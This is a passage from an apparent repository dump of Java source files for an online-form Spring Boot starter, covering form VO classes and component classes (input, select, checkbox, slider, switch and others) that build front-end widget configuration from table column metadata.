    "content": "package io.github.wujun728.online.vo.form;\n\nimport java.util.List;\n\nimport lombok.Data;\n\n/**\n * 表单组件列配置VO类\n * 用于表示表单布局中的列配置信息\n */\n@Data\npublic class WidgetFormItemColumnVO {\n    private List<WidgetFormItemVO> list;\n    private Integer number;\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/WidgetFormItemOptionsVO.java",
    "content": "package io.github.wujun728.online.vo.form;\n\nimport lombok.Data;\n\n/**\n * 表单组件选项配置VO类\n * 用于存储表单组件的各种配置选项\n */\n@Data\npublic class WidgetFormItemOptionsVO {\n    private String defaultValue;\n    private boolean allowHalf;\n    private boolean clearable;\n    private String options;\n    private boolean multiple;\n    private String placeholder;\n    private boolean isRange;\n    private Integer step;\n    private boolean readonly;\n    private boolean showPassword;\n    private boolean filterable;\n    private String controlsPosition;\n    private Integer maxlength;\n    private String startPlaceholder;\n    private String endPlaceholder;\n    private boolean showWordLimit;\n    private String type;\n    private Integer gutter;\n    private Integer min;\n    private String justify;\n    private String rules;\n    private String width;\n    private Integer precision;\n    private Integer rows;\n    private Integer max;\n    private boolean button;\n    private String format;\n    private String align;\n    private boolean disabled;\n    private boolean labelHide;\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/WidgetFormItemVO.java",
    "content": "package io.github.wujun728.online.vo.form;\n\nimport java.util.List;\n\nimport lombok.Data;\n\n/**\n * 表单组件项VO类\n * 表示表单中的一个组件配置，包含组件名称、类型、标签、选项和子列等信息\n */\n@Data\npublic class WidgetFormItemVO {\n    private String name;\n    private WidgetFormItemOptionsVO options;\n    private List<WidgetFormItemColumnVO> columns;\n    private String label;\n    private String type;\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/WidgetFormVO.java",
    "content": "package io.github.wujun728.online.vo.form;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * 表单组件配置VO类\n * 存储表单的配置信息和组件列表\n */\npublic class WidgetFormVO {\n    /**\n     * 表单组件列表\n     * 存储表单中的各个组件配置\n     */\n    private List<Map<String, Object>> list;\n    \n    /**\n     * 表单配置信息\n     */\n    private WidgetFormConfigVO config;\n    \n    /**\n     * 获取表单组件列表\n     */\n    public List<Map<String, Object>> getList() {\n        return list;\n    }\n    \n    /**\n     * 设置表单组件列表\n     */\n    public void setList(List<Map<String, Object>> list) {\n        this.list = list;\n    }\n    \n    /**\n     * 获取表单配置信息\n     */\n    public WidgetFormConfigVO getConfig() {\n        return config;\n    }\n    \n    /**\n     * 设置表单配置信息\n     */\n    public void setConfig(WidgetFormConfigVO config) {\n        this.config = config;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/AbstractComponent.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * 表单组件抽象基类\n * 定义所有表单组件的共同行为和属性\n */\npublic abstract class AbstractComponent {\n    \n    /**\n     * 表字段实体\n     */\n    protected OnlineTableColumnEntity column;\n    \n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public AbstractComponent(OnlineTableColumnEntity column) {\n        this.column = column;\n    }\n    \n    /**\n     * 获取组件配置信息\n     * @return 组件配置Map\n     */\n    public abstract Map<String, Object> getComponent();\n    \n    /**\n     * 获取表单验证规则\n     * @return 验证规则列表\n     */\n    protected List<Map<String, Object>> getRules() {\n        List<Map<String, Object>> rules = new ArrayList<>();\n        \n        // 如果字段为必填，则添加必填验证规则\n        if (column.isFormRequired()) {\n            Map<String, Object> requiredRule = new HashMap<>();\n            requiredRule.put(\"required\", true);\n            requiredRule.put(\"message\", column.getComments() + \"不能为空\");\n            rules.add(requiredRule);\n        }\n        \n        return rules;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/CheckboxComponent.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport cn.hutool.core.util.StrUtil;\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * 复选框组件实现类\n * 用于生成表单中的复选框组件配置\n */\npublic class CheckboxComponent extends AbstractComponent {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public CheckboxComponent(OnlineTableColumnEntity column) {\n        super(column);\n    }\n\n    /**\n     * 获取复选框组件配置\n     * @return 复选框组件配置Map\n     */\n    @Override\n    public Map<String, Object> getComponent() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置组件类型为复选框\n        componentMap.put(\"type\", \"checkbox\");\n        \n        // 设置组件属性\n        Map<String, Object> componentProps = new HashMap<>();\n        \n        // 设置组件名称\n        componentProps.put(\"name\", column.getName());\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 设置默认值\n        if (StrUtil.isNotBlank(column.getFormDefault())) {\n            componentProps.put(\"defaultValue\", parseDefaultValues(column.getFormDefault()));\n        }\n        \n        // 设置验证规则\n        componentProps.put(\"rules\", getRules());\n        \n        // 处理字典配置\n        if (StrUtil.isNotBlank(column.getFormDict())) {\n            componentProps.put(\"options\", parseDictOptions(column.getFormDict()));\n        }\n        \n        // 关联组件属性\n        componentMap.put(\"componentProps\", componentProps);\n        \n        return componentMap;\n    }\n    \n    /**\n     * 解析默认值字符串为值列表\n     * @param defaultValues 默认值字符串，格式为逗号分隔\n     * @return 默认值列表\n     */\n    private List<String> parseDefaultValues(String defaultValues) {\n        List<String> values = new ArrayList<>();\n        if (StrUtil.isNotBlank(defaultValues)) {\n            String[] valueArray = defaultValues.split(\",\");\n            for (String value : valueArray) {\n                values.add(value.trim());\n            }\n        }\n        return values;\n    }\n    \n    /**\n     * 解析字典选项配置为选项列表\n     * @param dictConfig 字典配置字符串，格式为\"key:value,key:value\"或JSON格式\n     * @return 选项列表\n     */\n    private List<Map<String, String>> parseDictOptions(String dictConfig) {\n        List<Map<String, String>> options = new ArrayList<>();\n        \n        // 简单解析，实际项目中可能需要根据具体字典格式进行更复杂的解析\n        if (StrUtil.isNotBlank(dictConfig)) {\n            try {\n                // 尝试作为JSON解析（这里简化处理，实际项目中应使用JSON库）\n                if (dictConfig.trim().startsWith(\"[\") && dictConfig.trim().endsWith(\"]\")) {\n                    // 这里只是模拟，实际项目中应该使用JSON解析库\n                    // 例如：使用Jackson或Fastjson解析JSON字符串\n                    // 简化处理，假设已经解析完成\n                } else if (dictConfig.contains(\":\")) {\n                    // 格式如：1:选项1,2:选项2\n                    String[] pairs = dictConfig.split(\",\");\n                    for (String pair : pairs) {\n                        if (pair.contains(\":\")) {\n                            String[] kv = pair.split(\":\", 2);\n                            if (kv.length == 2) {\n                                Map<String, String> option = new HashMap<>();\n                                option.put(\"label\", kv[1].trim());\n                                option.put(\"value\", kv[0].trim());\n                                options.add(option);\n                            }\n                        }\n                    }\n                }\n            } catch (Exception e) {\n                // 解析失败时使用空列表\n                e.printStackTrace();\n            }\n        }\n        \n        return options;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/ComponentContext.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport cn.hutool.core.util.StrUtil;\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.Map;\n\n/**\n * 表单组件上下文类\n * 根据字段类型创建相应的表单组件\n */\npublic class ComponentContext {\n    \n    /**\n     * 创建的表单组件实例\n     */\n    private AbstractComponent component;\n\n    /**\n     * 构造函数\n     * 根据字段的表单输入类型创建对应的组件\n     * @param column 表字段实体\n     */\n    public ComponentContext(OnlineTableColumnEntity column) {\n        if (column == null) {\n            throw new IllegalArgumentException(\"OnlineTableColumnEntity cannot be null\");\n        }\n        \n        String formInput = column.getFormInput();\n        \n        if (StrUtil.equalsIgnoreCase(formInput, \"input\")) {\n            component = new InputComponent(column);\n        } else if (StrUtil.equalsIgnoreCase(formInput, \"number\")) {\n            component = new NumberComponent(column);\n        } else if (StrUtil.equalsIgnoreCase(formInput, \"checkbox\")) {\n            component = new CheckboxComponent(column);\n        } else if (StrUtil.equalsIgnoreCase(formInput, \"date\")) {\n            component = new DateComponent(column);\n        } else if (StrUtil.equalsIgnoreCase(formInput, \"datetime\")) {\n            component = new DateTimeComponent(column);\n        } else if (StrUtil.equalsIgnoreCase(formInput, \"radio\")) {\n            component = new RadioComponent(column);\n        } else if (StrUtil.equalsIgnoreCase(formInput, \"rate\")) {\n            component = new RateComponent(column);\n        } else if (StrUtil.equalsIgnoreCase(formInput, \"select\")) {\n            component = new SelectComponent(column);\n        } else if (StrUtil.equalsIgnoreCase(formInput, \"slider\")) {\n            component = new SliderComponent(column);\n        } else if (StrUtil.equalsIgnoreCase(formInput, \"switch\")) {\n            component = new SwitchComponent(column);\n        } else if (StrUtil.equalsIgnoreCase(formInput, \"textarea\")) {\n            component = new TextareaComponent(column);\n        } else if (StrUtil.equalsIgnoreCase(formInput, \"time\")) {\n            component = new TimeComponent(column);\n        } else {\n            // 默认使用输入框组件\n            component = new InputComponent(column);\n        }\n    }\n\n    /**\n     * 获取组件配置信息\n     * @return 组件配置Map\n     */\n    public Map<String, Object> getComponent() {\n        if (component == null) {\n            throw new IllegalStateException(\"Component has not been initialized\");\n        }\n        return component.getComponent();\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/DateComponent.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 日期选择器组件实现类\n * 用于生成表单中的日期选择器组件配置\n */\npublic class DateComponent extends AbstractComponent {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public DateComponent(OnlineTableColumnEntity column) {\n        super(column);\n    }\n\n    /**\n     * 获取日期选择器组件配置\n     * @return 日期选择器组件配置Map\n     */\n    @Override\n    public Map<String, Object> getComponent() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置组件类型为日期选择器\n        componentMap.put(\"type\", \"datePicker\");\n        \n        // 设置组件属性\n        Map<String, Object> componentProps = new HashMap<>();\n        \n        // 设置组件名称\n        componentProps.put(\"name\", column.getName());\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 设置默认值\n        if (column.getFormDefault() != null && !column.getFormDefault().isEmpty()) {\n            componentProps.put(\"defaultValue\", column.getFormDefault());\n        }\n        \n        // 设置日期格式\n        componentProps.put(\"format\", \"YYYY-MM-DD\");\n        \n        // 设置日期值格式\n        componentProps.put(\"valueFormat\", \"YYYY-MM-DD\");\n        \n        // 设置占位符\n        componentProps.put(\"placeholder\", \"请选择\" + column.getComments());\n        \n        // 设置验证规则\n        componentProps.put(\"rules\", getRules());\n        \n        // 关联组件属性\n        componentMap.put(\"componentProps\", componentProps);\n        \n        return componentMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/DateTimeComponent.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 日期时间选择器组件实现类\n * 用于生成表单中的日期时间选择器组件配置\n */\npublic class DateTimeComponent extends AbstractComponent {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public DateTimeComponent(OnlineTableColumnEntity column) {\n        super(column);\n    }\n\n    /**\n     * 获取日期时间选择器组件配置\n     * @return 日期时间选择器组件配置Map\n     */\n    @Override\n    public Map<String, Object> getComponent() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置组件类型为日期时间选择器\n        componentMap.put(\"type\", \"dateTimePicker\");\n        \n        // 设置组件属性\n        Map<String, Object> componentProps = new HashMap<>();\n        \n        // 设置组件名称\n        componentProps.put(\"name\", column.getName());\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 设置默认值\n        if (column.getFormDefault() != null && !column.getFormDefault().isEmpty()) {\n            componentProps.put(\"defaultValue\", column.getFormDefault());\n        }\n        \n        // 设置日期时间格式\n        componentProps.put(\"format\", \"YYYY-MM-DD HH:mm:ss\");\n        \n        // 设置日期时间值格式\n        componentProps.put(\"valueFormat\", \"YYYY-MM-DD HH:mm:ss\");\n        \n        // 设置占位符\n        componentProps.put(\"placeholder\", \"请选择\" + column.getComments());\n        \n        // 设置验证规则\n        componentProps.put(\"rules\", getRules());\n        \n        // 关联组件属性\n        componentMap.put(\"componentProps\", componentProps);\n        \n        return componentMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/InputComponent.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 输入框组件实现类\n * 用于生成表单中的输入框组件配置\n */\npublic class InputComponent extends AbstractComponent {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public InputComponent(OnlineTableColumnEntity column) {\n        super(column);\n    }\n\n    /**\n     * 获取输入框组件配置\n     * @return 输入框组件配置Map\n     */\n    @Override\n    public Map<String, Object> getComponent() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置组件类型为输入框\n        componentMap.put(\"type\", \"input\");\n        \n        // 设置组件属性\n        Map<String, Object> componentProps = new HashMap<>();\n        \n        // 设置默认值\n        componentProps.put(\"defaultValue\", column.getFormDefault());\n        \n        // 设置组件名称\n        componentProps.put(\"name\", column.getName());\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 设置组件占位符\n        componentProps.put(\"placeholder\", \"请输入\" + column.getComments());\n        \n        // 设置验证规则\n        componentProps.put(\"rules\", getRules());\n        \n        // 关联组件属性\n        componentMap.put(\"componentProps\", componentProps);\n        \n        return componentMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/NumberComponent.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 数字输入框组件实现类\n * 用于生成表单中的数字输入组件配置\n */\npublic class NumberComponent extends AbstractComponent {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public NumberComponent(OnlineTableColumnEntity column) {\n        super(column);\n    }\n\n    /**\n     * 获取数字输入组件配置\n     * @return 数字输入组件配置Map\n     */\n    @Override\n    public Map<String, Object> getComponent() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置组件类型为数字输入框\n        componentMap.put(\"type\", \"number\");\n        \n        // 设置组件属性\n        Map<String, Object> componentProps = new HashMap<>();\n        \n        // 设置组件名称\n        componentProps.put(\"name\", column.getName());\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 设置默认值\n        if (column.getFormDefault() != null && !column.getFormDefault().isEmpty()) {\n            componentProps.put(\"defaultValue\", column.getFormDefault());\n        }\n        \n        // 设置最小值（默认0）\n        componentProps.put(\"min\", 0);\n        \n        // 设置最大值（默认99999）\n        componentProps.put(\"max\", 99999);\n        \n        // 设置步长\n        componentProps.put(\"step\", 1);\n        \n        // 设置占位符\n        componentProps.put(\"placeholder\", \"请输入\" + column.getComments());\n        \n        // 设置验证规则\n        componentProps.put(\"rules\", getRules());\n        \n        // 关联组件属性\n        componentMap.put(\"componentProps\", componentProps);\n        \n        return componentMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/RadioComponent.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\nimport cn.hutool.core.util.StrUtil;\n\n/**\n * 单选框组件实现类\n * 用于生成在线表单中的单选框控件配置\n */\npublic class RadioComponent extends AbstractComponent {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public RadioComponent(OnlineTableColumnEntity column) {\n        super(column);\n    }\n\n    /**\n     * 获取单选框组件配置\n     * @return 组件配置Map\n     */\n    @Override\n    public Map<String, Object> getComponent() {\n        // 组件配置\n        Map<String, Object> componentConfig = new HashMap<>();\n        componentConfig.put(\"defaultValue\", column.getFormDefault());\n        componentConfig.put(\"placeholder\", \"请选择\");\n        componentConfig.put(\"multiple\", false);\n        componentConfig.put(\"clearable\", false);\n        componentConfig.put(\"filterable\", false);\n        componentConfig.put(\"remote\", false);\n        componentConfig.put(\"dictCode\", column.getFormDict());\n        componentConfig.put(\"rules\", getRules());\n        \n        // 设置字典类型\n        if (StrUtil.isBlank(column.getFormDict())) {\n            componentConfig.put(\"dictType\", \"static\");\n        } else {\n            componentConfig.put(\"dictType\", \"dict\");\n        }\n        \n        // 设置样式\n        Map<String, String> styleConfig = new HashMap<>();\n        styleConfig.put(\"width\", \"100%\");\n        styleConfig.put(\"height\", \"32px\");\n        componentConfig.put(\"style\", styleConfig);\n        \n        // 组件基本信息\n        Map<String, Object> componentInfo = new HashMap<>();\n        componentInfo.put(\"component\", column.getFormInput());\n        componentInfo.put(\"label\", column.getComments());\n        componentInfo.put(\"prop\", column.getName());\n        componentInfo.put(\"config\", componentConfig);\n        \n        return componentInfo;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/RateComponent.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 评分组件实现类\n * 用于生成表单中的评分组件配置\n */\npublic class RateComponent extends AbstractComponent {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public RateComponent(OnlineTableColumnEntity column) {\n        super(column);\n    }\n\n    /**\n     * 获取评分组件配置\n     * @return 评分组件配置Map\n     */\n    @Override\n    public Map<String, Object> getComponent() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置组件类型为评分组件\n        componentMap.put(\"type\", \"rate\");\n        \n        // 设置组件属性\n        Map<String, Object> componentProps = new HashMap<>();\n        \n        // 设置组件名称\n        componentProps.put(\"name\", column.getName());\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 设置默认值\n        if (column.getFormDefault() != null && !column.getFormDefault().isEmpty()) {\n            componentProps.put(\"defaultValue\", column.getFormDefault());\n        }\n        \n        // 设置最大评分值\n        componentProps.put(\"max\", 5);\n        \n        // 设置验证规则\n        componentProps.put(\"rules\", getRules());\n        \n        // 关联组件属性\n        componentMap.put(\"componentProps\", componentProps);\n        \n        return componentMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/SelectComponent.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport cn.hutool.core.util.StrUtil;\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * 下拉选择框组件实现类\n * 用于生成表单中的下拉选择组件配置\n */\npublic class SelectComponent extends AbstractComponent {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public SelectComponent(OnlineTableColumnEntity column) {\n        super(column);\n    }\n\n    /**\n     * 获取下拉选择组件配置\n     * @return 下拉选择组件配置Map\n     */\n    @Override\n    public Map<String, Object> getComponent() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置组件类型为下拉选择框\n        componentMap.put(\"type\", \"select\");\n        \n        // 设置组件属性\n        Map<String, Object> componentProps = new HashMap<>();\n        \n        // 设置组件名称\n        componentProps.put(\"name\", column.getName());\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 设置默认值\n        if (column.getFormDefault() != null && !column.getFormDefault().isEmpty()) {\n            componentProps.put(\"defaultValue\", column.getFormDefault());\n        }\n        \n        // 设置占位符\n        componentProps.put(\"placeholder\", \"请选择\" + column.getComments());\n        \n        // 设置验证规则\n        componentProps.put(\"rules\", getRules());\n        \n        // 处理字典选项\n        List<Map<String, String>> options = new ArrayList<>();\n        \n        // 检查是否有字典数据\n        if (column.getFormDict() != null && !column.getFormDict().isEmpty()) {\n            // 解析字典数据并添加到选项列表中\n            options = parseDictOptions(column.getFormDict());\n            \n            // 设置远程搜索为false（本地选项）\n            componentProps.put(\"showSearch\", false);\n        } else {\n            // 如果没有字典数据，设置远程搜索为true\n            componentProps.put(\"showSearch\", true);\n        }\n        \n        // 设置选项列表\n        componentProps.put(\"options\", options);\n        \n        // 设置值键和标签键\n        Map<String, String> fieldNames = new HashMap<>();\n        fieldNames.put(\"value\", \"value\");\n        fieldNames.put(\"label\", \"label\");\n        componentProps.put(\"fieldNames\", fieldNames);\n        \n        // 关联组件属性\n        componentMap.put(\"componentProps\", componentProps);\n        \n        return componentMap;\n    }\n    \n    /**\n     * 解析字典选项\n     * @param formDict 表单字典字符串\n     * @return 解析后的选项列表\n     */\n    private List<Map<String, String>> parseDictOptions(String formDict) {\n        List<Map<String, String>> options = new ArrayList<>();\n        \n        // 检查字典数据是否为空\n        if (StrUtil.isBlank(formDict)) {\n            return options;\n        }\n        \n        try {\n            // 按逗号分割字典项\n            String[] dictItems = formDict.split(\",\");\n            \n            for (String item : dictItems) {\n                // 按冒号分割键值对\n                String[] keyValue = item.split(\":\");\n                \n                if (keyValue.length >= 2) {\n                    Map<String, String> option = new HashMap<>();\n                    option.put(\"value\", keyValue[0].trim());\n                    option.put(\"label\", keyValue[1].trim());\n                    options.add(option);\n                }\n            }\n        } catch (Exception e) {\n            // 解析异常时返回空列表\n            e.printStackTrace();\n        }\n        \n        return options;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/SliderComponent.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 滑块组件实现类\n * 用于生成表单中的滑块组件配置\n */\npublic class SliderComponent extends AbstractComponent {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public SliderComponent(OnlineTableColumnEntity column) {\n        super(column);\n    }\n\n    /**\n     * 获取滑块组件配置\n     * @return 滑块组件配置Map\n     */\n    @Override\n    public Map<String, Object> getComponent() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置组件类型为滑块\n        componentMap.put(\"type\", \"slider\");\n        \n        // 设置组件属性\n        Map<String, Object> componentProps = new HashMap<>();\n        \n        // 设置组件名称\n        componentProps.put(\"name\", column.getName());\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 设置默认值\n        if (column.getFormDefault() != null && !column.getFormDefault().isEmpty()) {\n            try {\n                componentProps.put(\"defaultValue\", Integer.parseInt(column.getFormDefault()));\n            } catch (NumberFormatException e) {\n                // 如果默认值无法转换为整数，则使用0作为默认值\n                componentProps.put(\"defaultValue\", 0);\n            }\n        } else {\n            componentProps.put(\"defaultValue\", 0);\n        }\n        \n        // 设置滑块最小值（默认为0）\n        componentProps.put(\"min\", 0);\n        \n        // 设置滑块最大值（默认为100）\n        componentProps.put(\"max\", 100);\n        \n        // 设置滑块步长（默认为1）\n        componentProps.put(\"step\", 1);\n        \n        // 设置是否显示数字输入框（可选）\n        componentProps.put(\"showInput\", true);\n        \n        // 设置是否显示标记\n        componentProps.put(\"marks\", true);\n        \n        // 设置是否显示提示\n        componentProps.put(\"tooltipVisible\", true);\n        \n        // 设置验证规则\n        componentProps.put(\"rules\", getRules());\n        \n        // 关联组件属性\n        componentMap.put(\"componentProps\", componentProps);\n        \n        return componentMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/SwitchComponent.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 开关组件实现类\n * 用于生成表单中的开关组件配置\n */\npublic class SwitchComponent extends AbstractComponent {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public SwitchComponent(OnlineTableColumnEntity column) {\n        super(column);\n    }\n\n    /**\n     * 获取开关组件配置\n     * @return 开关组件配置Map\n     */\n    @Override\n    public Map<String, Object> getComponent() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置组件类型为开关\n        componentMap.put(\"type\", \"switch\");\n        \n        // 设置组件属性\n        Map<String, Object> componentProps = new HashMap<>();\n        \n        // 设置组件名称\n        componentProps.put(\"name\", column.getName());\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 设置默认值\n        if (column.getFormDefault() != null && !column.getFormDefault().isEmpty()) {\n            componentProps.put(\"defaultValue\", \"true\".equalsIgnoreCase(column.getFormDefault()) || \"1\".equals(column.getFormDefault()));\n        } else {\n            componentProps.put(\"defaultValue\", false);\n        }\n        \n        // 设置开启和关闭的值\n        componentProps.put(\"checkedValue\", true);\n        componentProps.put(\"uncheckedValue\", false);\n        \n        // 设置开关尺寸（'small', 'default', 'large'）\n        componentProps.put(\"size\", \"default\");\n        \n        // 设置开启时的背景颜色\n        componentProps.put(\"checkedColor\", \"#1890ff\");\n        \n        // 设置验证规则\n        componentProps.put(\"rules\", getRules());\n        \n        // 关联组件属性\n        componentMap.put(\"componentProps\", componentProps);\n        \n        return componentMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/TextareaComponent.java",
    "content": "package io.github.wujun728.online.vo.form.component;\n\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 文本域组件实现类\n * 用于生成表单中的多行文本输入组件配置\n */\npublic class TextareaComponent extends AbstractComponent {\n\n    /**\n     * 构造函数\n     * @param column 表字段实体\n     */\n    public TextareaComponent(OnlineTableColumnEntity column) {\n        super(column);\n    }\n\n    /**\n     * 获取文本域组件配置\n     * @return 文本域组件配置Map\n     */\n    @Override\n    public Map<String, Object> getComponent() {\n        // 创建组件配置Map\n        Map<String, Object> componentMap = new HashMap<>();\n        \n        // 设置组件类型为文本域\n        componentMap.put(\"type\", \"textarea\");\n        \n        // 设置组件属性\n        Map<String, Object> componentProps = new HashMap<>();\n        \n        // 设置组件名称\n        componentProps.put(\"name\", column.getName());\n        \n        // 设置组件标签（显示名称）\n        componentProps.put(\"label\", column.getComments());\n        \n        // 设置默认值\n        if (column.getFormDefault() != null && !column.getFormDefault().isEmpty()) {\n            componentProps.put(\"defaultValue\", column.getFormDefault());\n        }\n        \n        // 设置占位符\n        componentProps.put(\"placeholder\", \"请输入\" + column.getComments());\n        \n        // 设置文本域行数（默认3行）\n        componentProps.put(\"rows\", 3);\n        \n        // 设置是否自动调整高度\n        componentProps.put(\"autoSize\", false);\n        \n        // 设置最大长度（默认1000字符）\n        componentProps.put(\"maxLength\", 1000);\n        \n        // 设置是否显示字数统计\n        componentProps.put(\"showCount\", true);\n        \n        // 设置是否可清空\n        componentProps.put(\"allowClear\", true);\n        \n        // 设置验证规则\n        componentProps.put(\"rules\", getRules());\n        \n        // 关联组件属性\n        componentMap.put(\"componentProps\", componentProps);\n        \n        return componentMap;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/vo/form/component/TimeComponent.java",
